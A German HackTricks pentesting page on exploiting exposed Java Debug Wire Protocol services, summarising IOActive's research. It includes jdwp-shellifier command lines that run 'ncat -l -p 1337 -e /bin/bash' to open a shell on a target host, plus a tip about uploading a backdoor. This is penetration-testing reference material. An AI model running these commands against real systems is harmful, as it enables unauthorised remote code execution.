8.1 KiB
Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ausnutzen
Die Ausnutzung von JDWP basiert auf dem Fehlen von Authentifizierung und Verschlüsselung des Protokolls. Es wird normalerweise auf Port 8000 gefunden, aber andere Ports sind möglich. Die erste Verbindung erfolgt durch das Senden eines "JDWP-Handshake" an den Zielport. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerabdruckmethode zur Identifizierung von JDWP-Diensten im Netzwerk.
In Bezug auf die Prozessidentifikation kann die Suche nach dem String "jdwk" in Java-Prozessen auf eine aktive JDWP-Sitzung hinweisen.
Das bevorzugte Tool ist jdwp-shellifier. Sie können es mit verschiedenen Parametern verwenden:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Ich habe festgestellt, dass die Verwendung von --break-on 'java.lang.String.indexOf'
den Exploit stabiler macht. Und wenn Sie die Möglichkeit haben, ein Backdoor auf den Host hochzuladen und es auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.
Weitere Details
Dies ist eine Zusammenfassung von https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Überprüfen Sie es für weitere Details.
- JDWP Übersicht:
- Es handelt sich um ein paketbasiertes Netzwerk-Binärprotokoll, das hauptsächlich synchron ist.
- Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es feindlichen Netzwerken ausgesetzt ist.
- JDWP Handshake:
- Ein einfacher Handshake-Prozess wird verwendet, um die Kommunikation zu initiieren. Ein 14-Zeichen-ASCII-String „JDWP-Handshake“ wird zwischen dem Debugger (Client) und dem Debuggee (Server) ausgetauscht.
- JDWP Kommunikation:
- Nachrichten haben eine einfache Struktur mit Feldern wie Länge, Id, Flag und CommandSet.
- Die Werte des CommandSet reichen von 0x40 bis 0x80 und repräsentieren verschiedene Aktionen und Ereignisse.
- Ausnutzung:
- JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecode, was Sicherheitsrisiken birgt.
- Der Artikel beschreibt einen Ausnutzungsprozess in fünf Schritten, der das Abrufen von Java Runtime-Referenzen, das Setzen von Haltepunkten und das Aufrufen von Methoden umfasst.
- Echte Ausnutzung:
- Trotz potenzieller Firewall-Schutzmaßnahmen sind JDWP-Dienste in realen Szenarien entdeckbar und ausnutzbar, wie durch Suchen auf Plattformen wie ShodanHQ und GitHub demonstriert.
- Das Exploit-Skript wurde gegen verschiedene JDK-Versionen getestet und ist plattformunabhängig, was zuverlässige Remote Code Execution (RCE) bietet.
- Sicherheitsimplikationen:
- Das Vorhandensein offener JDWP-Dienste im Internet unterstreicht die Notwendigkeit regelmäßiger Sicherheitsüberprüfungen, das Deaktivieren von Debug-Funktionen in der Produktion und ordnungsgemäße Firewall-Konfigurationen.
Referenzen:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.